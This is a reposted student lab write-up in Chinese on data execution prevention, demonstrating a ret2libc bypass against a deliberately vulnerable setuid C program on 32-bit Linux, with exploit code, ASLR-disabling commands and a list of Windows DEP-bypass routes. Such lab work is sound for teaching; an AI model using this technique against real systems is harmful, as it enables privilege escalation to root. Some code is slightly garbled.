20155306 白皎 0day漏洞——漏洞利用原理之DEP

Posted 0831j

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了20155306 白皎 0day漏洞——漏洞利用原理之DEP相关的知识,希望对你有一定的参考价值。

20155306 白皎 0day漏洞——漏洞利用原理之DEP

一、DEP机制的保护原理

1.为什么出现DEP?

溢出攻击的根源在于现代计算机对数据和代码没有明确区分这一先天缺陷,就目前来看重新去设计计算机体系结构基本上是不可能的,我们只能靠向前兼容的修补来减少溢出带来的损害,DEP(数据执行保护,Data Execution Prevention)就是用来弥补计算机对数据和代码混淆这一天然缺陷的。

2.DEP是什么?

DEP-数据执行保护的缩写,DataExecutionPrevention。能够在内存上执行额外检查以帮助防止在系统上运行恶意代码。

2.DEP工作原理是什么?

DEP的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。DEP 的主要作用是阻止数据页(如默认的堆页、各种堆栈页以及内存池页)执行代码。

技术分享图片

二、利用Ret2Lib绕过DEP

- Linux下利用Ret2Libc绕过DEP

原理分析

系统库函数通常是不受DEP保护的,所以通过将返回地址指向系统函数可以绕过DEP保护,所以可以通过调研系统函数system()获得shell。system函数是通过/bin/sh命令去执行一个用户执行命令或者脚本,因此,我们完全可以利用system来实现Shellcode的功能。

return-into-libc原理
攻击者能够通过缓冲区溢出改写返回地址为一个库函数的地址,并且将此库函数执行时的参数也重新写入栈中。这样当函数调用时获取的是攻击者设定好的参数值,并且结束后返回时就会返回到库函数而不是 main()。而此库函数实际上就帮助攻击者执行了其恶意行为。

攻击步骤

1.输入命令安装一些用于编译 32 位 C 程序的东西。

sudo apt-get update

sudo apt-get install lib32z1 libc6-dev-i386

sudo apt-get install lib32readline-gplv2-dev

2.输入命令“linux32”进入 32 位 linux 环境。输入“/bin/bash”使用 bash。
关闭地址空间随机化,不能随机堆(heap)和栈(stack)的初始地址。以及设置堆栈不可执行

gcc -z noexecstack -o test test.c  //栈不可执行

sudo sysctl -w kernel.randomize_va_space=0 //关闭地址随机化

技术分享图片
3.添加一个新用户,可以参考教程:linux中新建一个用户
技术分享图片

4.即使你能欺骗一个 Set-UID 程序调用一个 shell,也不能在这个 shell 中保持 root 权限,这个防护措施在/bin/bash 中实现。
linux 系统中,/bin/sh 实际是指向/bin/bash 或/bin/dash 的一个符号链接。为了重现这一防护措施被实现之前的情形,我们使用另一个 shell 程序(zsh)代替/bin/bash。下面的指令描述了如何设置 zsh 程序。
技术分享图片

5.把以下漏洞代码保存为“retlib.c”文件,保存到 /tmp 目录下,并进行编译,设置。代码如下:


include <stdlib.h>
include <stdio.h>
include <string.h>
int bof(FILE *badfile)
{
char buffer[12];
/* The following statement has a buffer overflow problem */
fread(buffer, sizeof(char), 40, badfile);
return 1;
}
int main(int argc, char **argv)
{
FILE *badfile;
badfile = fopen("badfile", "r");
bof(badfile);
printf("Returned Properly
");
fclose(badfile);
return 1;
}

技术分享图片

6.编译上述程序编译该程序,并设置 SET-UID。

sudo su//获取root权限

gcc -m32 -g -z noexecstack -fno-stack-protector -o retlib retlib.c//设置栈不可执行

chmod u+s retlib //给retlib程序的所有者以suid权限,可以像root用户一样操作

exit

技术分享图片

7.此外,我们还需要用到一个读取环境变量的程序,并通过 gcc -m32 -o getenvaddr getenvaddr.c进行编译。

include <stdio.h>
include <stdlib.h>
include <string.h>

int main(int argc, char const *argv[])
{
 char *ptr;

 if(argc < 3){
    printf("Usage: %s <environment var> <target program name>
", argv[0]);
    exit(0);
    }
 ptr = getenv(argv[1]);
 ptr += (strlen(argv[0]) - strlen(argv[2])) * 2;
 printf("%s will be at %p
", argv[1], ptr);
 return 0;
}

8.获得 BIN_SH 地址

export BIN_SH="/bin/sh"
echo $BIN_SH
./getenvaddr BIN_SH ./reblic

技术分享图片

技术分享图片

9.以下代码为攻击程序,保存为“exploit.c”文件,保存到 /tmp 目录下。

include <stdlib.h>
include <stdio.h>
include <string.h>
int main(int argc, char **argv)
{
 char buf[40];
 FILE *badfile;
 badfile = fopen(".//badfile", "w");

 strcpy(buf, "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90");// nop 24 times

 *(long *) &buf[32] =0x11111111; // "//bin//sh"
 *(long *) &buf[24] =0x22222222; // system()
 *(long *) &buf[36] =0x33333333; // exit()
 fwrite(buf, sizeof(buf), 1, badfile);
 fclose(badfile);
}

10.获取 system 和 exit 地址

gcc -m32 -g -o exploit exploit.c//编译
gdb -q ./exploit//调试
b 10//设置断点
run//运行到断点处
p system//获取system地址
p exit//获取exit地址

技术分享图片
技术分享图片

11.修改 exploit.c 文件,填上刚才找到的内存地址。删除刚才调试编译的 exploit 程序和 badfile 文件,重新编译修改后的 exploit.c。

技术分享图片

技术分享图片

12.首先运行攻击程序,生成badfile文件,载运行漏洞程序,可以看到攻击成功,获得root权限。
技术分享图片

- Windows下利用Ret2Libc绕过DEP

突破思路:
既然DEP不允许直接执行,我们可以在其他可执行位置为shellcode的每一条指令找到一条替代指令,就可以完成exploit了。(每一条指令都有一个ret,以便回收程序控制权),有三种方法:

1、通过跳转到ZwSetInformationProcess函数将DEP关闭,再转入shellcode;

2、通过跳转到VirtualProtect函数来将shellcode所在内存页设置为可执行状态,再转入shellcode;

3、通过跳转到VirtualAlloc函数开辟一段具有执行权限的内存空间,然后将shellcode复制到这段内存中执行。

以上是关于20155306 白皎 0day漏洞——漏洞利用原理之DEP的主要内容,如果未能解决你的问题,请参考以下文章

20155306 白皎 0day漏洞——漏洞利用原理之栈溢出利用

20155306 白皎 免考实践总结——0day漏洞

20155306 白皎 0day漏洞——漏洞的分析与复现

20155306 白皎 免考实践总结

利用Windows 0day漏洞部署DevilsTongue恶意软件

20155306 白皎 《网络攻防》 EXP8 Web基础